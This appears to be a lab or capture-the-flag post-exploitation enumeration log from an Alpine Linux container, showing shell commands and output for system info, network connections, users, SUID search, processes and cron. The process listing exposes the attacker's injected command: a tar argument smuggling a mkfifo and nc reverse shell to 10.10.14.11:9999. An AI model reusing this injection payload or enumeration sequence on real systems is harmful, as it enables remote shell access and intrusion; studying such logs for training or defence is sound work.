System/Kernel


/app # uname -a ; cat /etc/*release
linux edd84d998910 5.15.0-56-generic #62-ubuntu smp tue nov 22 19:54:14 UTC 2022 x86_64 Linux
3.10.3
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.10.3
PRETTY_NAME="Alpine Linux v3.10"
home_url="https://alpinelinux.org/"
bug_report_url="https://bugs.alpinelinux.org/"

Alpine Linux 3.10.3 5.15.0-56-generic x86_64

Networks


/app # ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 02:42:AC:16:00:03  
          inet addr:172.22.0.3  Bcast:172.22.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1643 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1531 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:115077 (112.3 KiB)  TX bytes:152275 (148.7 KiB)
 
/app # ip route
default via 172.22.0.1 dev eth0 
172.22.0.0/16 dev eth0 scope link  src 172.22.0.3 
 
/app # arp -a ; netstat -ant | less
? (172.22.0.1) at 02:42:b8:c3:9b:52 [ether]  on eth0
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       
tcp        1      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      
tcp        0      0 127.0.0.11:43703        0.0.0.0:*               LISTEN      
tcp        0      0 172.22.0.3:45838        172.22.0.1:5432         ESTABLISHED 
tcp        0      0 172.22.0.3:45792        172.22.0.1:5432         ESTABLISHED 
tcp        0      0 172.22.0.3:45748        172.22.0.1:5432         ESTABLISHED 
tcp        0      0 172.22.0.3:8000         172.22.0.1:44558        TIME_WAIT   
tcp      301      0 172.22.0.3:8000         172.22.0.1:55766        ESTABLISHED 
tcp        0      0 172.22.0.3:45798        172.22.0.1:5432         ESTABLISHED 
tcp        0      0 172.22.0.3:45828        172.22.0.1:5432         ESTABLISHED 
tcp        0      0 172.22.0.3:8000         172.22.0.1:52040        ESTABLISHED 
tcp        0      0 172.22.0.3:45780        172.22.0.1:5432         ESTABLISHED 
tcp        0      0 172.22.0.3:45808        172.22.0.1:5432         ESTABLISHED 
tcp        0     54 172.22.0.3:46139        10.10.14.11:9999        ESTABLISHED 
tcp        0      0 172.22.0.3:45738        172.22.0.1:5432         ESTABLISHED 
tcp        0      0 172.22.0.3:45764        172.22.0.1:5432         ESTABLISHED 
tcp        0      0 172.22.0.3:45824        172.22.0.1:5432         ESTABLISHED 
tcp        0      0 172.22.0.3:45834        172.22.0.1:5432         ESTABLISHED 
 

Users & Groups


/app # cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
total 12K    
     4 drwxr-xr-x    1 root     root        4.0k dec 28 08:57 ..
     4 drwxr-x---    4 1001     1001        4.0K Nov 11  2022 svc
     4 drwxr-xr-x    1 root     root        4.0K Nov 10  2022 .

svc

/app # cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
uid=1(bin) gid=1(bin) groups=1(bin),1(bin),2(daemon),3(sys)
uid=2(daemon) gid=2(daemon) groups=2(daemon),1(bin),2(daemon),4(adm)
uid=3(adm) gid=4(adm) groups=4(adm),3(sys),4(adm),6(disk)
uid=4(lp) gid=7(lp) groups=7(lp),7(lp)
uid=5(sync) gid=0(root) groups=0(root)
uid=6(shutdown) gid=0(root) groups=0(root)
uid=7(halt) gid=0(root) groups=0(root)
uid=8(mail) gid=12(mail) groups=12(mail),12(mail)
uid=9(news) gid=13(news) groups=13(news),13(news)
uid=10(uucp) gid=14(uucp) groups=14(uucp),14(uucp)
uid=11(operator) gid=0(root) groups=0(root)
uid=13(man) gid=15(man) groups=15(man),15(man)
uid=14(postmaster) gid=12(mail) groups=12(mail)
uid=16(cron) gid=16(cron) groups=16(cron),16(cron)
uid=21(ftp) gid=21(ftp) groups=21(ftp)
uid=22(sshd) gid=22(sshd) groups=22(sshd)
uid=25(at) gid=25(at) groups=25(at),25(at)
uid=31(squid) gid=31(squid) groups=31(squid),31(squid)
uid=33(xfs) gid=33(xfs) groups=33(xfs),33(xfs)
uid=35(games) gid=35(games) groups=35(games),100(users)
uid=70(postgres) gid=70(postgres) groups=70(postgres)
uid=85(cyrus) gid=12(mail) groups=12(mail)
uid=89(vpopmail) gid=89(vpopmail) groups=89(vpopmail)
uid=123(ntp) gid=123(ntp) groups=123(ntp)
uid=209(smmsp) gid=209(smmsp) groups=209(smmsp),209(smmsp)
uid=405(guest) gid=100(users) groups=100(users)
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

SUIDs


/app # find / -perm -04000 -ls -type f 2>/dev/null

SGIDs


/app # find / -perm -02000 -ls -type f 2>/dev/null

Processes


/app # ps 
PID   USER     TIME  COMMAND
    1 root      0:01 python3 -m uvicorn app.main:app --reload --workers 2 --host 0.0.0.0 --port 8000
    7 root      0:00 /usr/local/bin/python3 -c from multiprocessing.semaphore_tracker import main;main(4)
    8 root      0:01 /usr/local/bin/python3 -c from multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=5, pipe_handle=7) --multiprocessing-fork
   15 root      0:00 sh -c tar -c -f ; mkfifo /tmp/tsharv; nc 10.10.14.11 9999 0</tmp/tsharv | /bin/sh >/tmp/tsharv 2>&1; rm /tmp/tsharv #/app_backkup.tar /app/ &
   18 root      0:00 nc 10.10.14.11 9999
   19 root      0:00 /bin/sh
   20 root      0:00 sh -i
   65 root      0:00 ps

python3 -m uvicorn app.main:app --reload --workers 2 --host 0.0.0.0 --port 8000

Cron & Systemd


/app # crontab -l ; cat /etc/crontab ; systemctl list-timers
# do daily/weekly/monthly maintenance
# min	hour	day	month	weekday	command
*/15	*	*	*	*	run-parts /etc/periodic/15min
0	*	*	*	*	run-parts /etc/periodic/hourly
0	2	*	*	*	run-parts /etc/periodic/daily
0	3	*	*	6	run-parts /etc/periodic/weekly
0	5	1	*	*	run-parts /etc/periodic/monthly
 
cat: can't open '/etc/crontab': No such file or directory
sh: systemctl: not found

Sudo Version


/app # sudo --version
sh: sudo: not found

Glibc Version


/app # ldd --version
/lib/ld-musl-x86_64.so.1: cannot load --version: No such file or directory